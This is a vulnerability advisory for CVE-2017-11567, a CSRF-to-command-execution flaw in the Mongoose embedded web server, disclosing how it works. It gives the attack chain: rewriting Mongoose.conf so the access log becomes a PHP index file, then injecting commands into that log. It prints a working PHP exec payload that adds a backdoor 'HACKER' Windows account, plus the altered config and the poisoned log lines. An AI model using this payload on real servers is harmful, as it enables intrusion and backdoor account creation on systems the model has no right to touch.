It is a multi-protocol embedded networking library with functions including TCP, HTTP client and server, WebSocket client and server, MQTT client and broker and much more. Vulnerability Type: =================== CSRF - Command Execution CVE Reference: ============== CVE-2017-11567 Security Issue: ================ Remote attackers who can lure a Mongoose web server user into clicking a malicious link or visit attacker controlled web page can execute system commands on the system hosting Mongoose server. However, IF Mongoose web server is installed as service then executing programs e.g. "calc.exe" may at times crash or fail to appear, but you may see it in Windows taskmgr.exe. Therefore, from my tests commands may become unstable when Mongoose is run as a service. When Mongoose is run standard mode attackers can potentially modify "Mongoose.conf" and create arbitrary files on server like .PHP etc. to point Mongoose to this as its new "index" file. Then you need to tell Mongoose its "access_log_file" is the new attacker generated file, after injecting commands into Mongoose web servers log file that will get excuted when log file is later requested. This vulnerability requires CGI interpreter to be already set or some information about the target is known like the CGI path and language "pl,php,cgi" used, so when we can set to use correct programming language when file is created during initial CRSF attack. Note: If running commands with arguments, we have to use "\t" tab chars as using space will break our TELNET based code injection to the server log. e.g. GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1 OR just TELNET to Mongoose web server, inject arbitrary commands, then call exec by making another TELNET HTTP GET. After Command Injection "Mongoose.conf" will be: # Mongoose web server configuration file. # For detailed description of every option, visit # https://github.com/cesanta/Mongoose # Lines starting with '#' and empty lines are ignored. # To make a change, remove leading '#', modify option's value, # save this file and then restart Mongoose. # access_control_list access_log_file C:\Mongoose.access.php <======= BOOM # auth_domain mydomain.com cgi_interpreter c:\xampp\php\php.exe <====== MUST BE SET # cgi_pattern **.cgi$|**.pl$|**.php$ # dav_auth_file # dav_root # debug 0 document_root C:\ # enable_directory_listing yes # error_log_file # extra_headers # extra_mime_types # global_auth_file # hide_files_patterns # hexdump_file index_files Mongoose.access.php <======== BOOM # listening_port 8080 # run_as_user # ssi_pattern **.shtml$|**.shtm$ # ssl_certificate # ssl_ca_certificate # start_browser yes # url_rewrites Mongoose log file Command Inject to create backdoor. ----------------------------------------------------------- 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:30 - 127.0.0.1 - GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> 400 0 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_settings 200 4294967295 http://127.0.0.1:8080/__mg_admin 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_cfg_file_status 200 4294967295 http://127.0.0.1:8080/__mg_admin 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /favicon.ico 404 0 - Tested Windows 7.
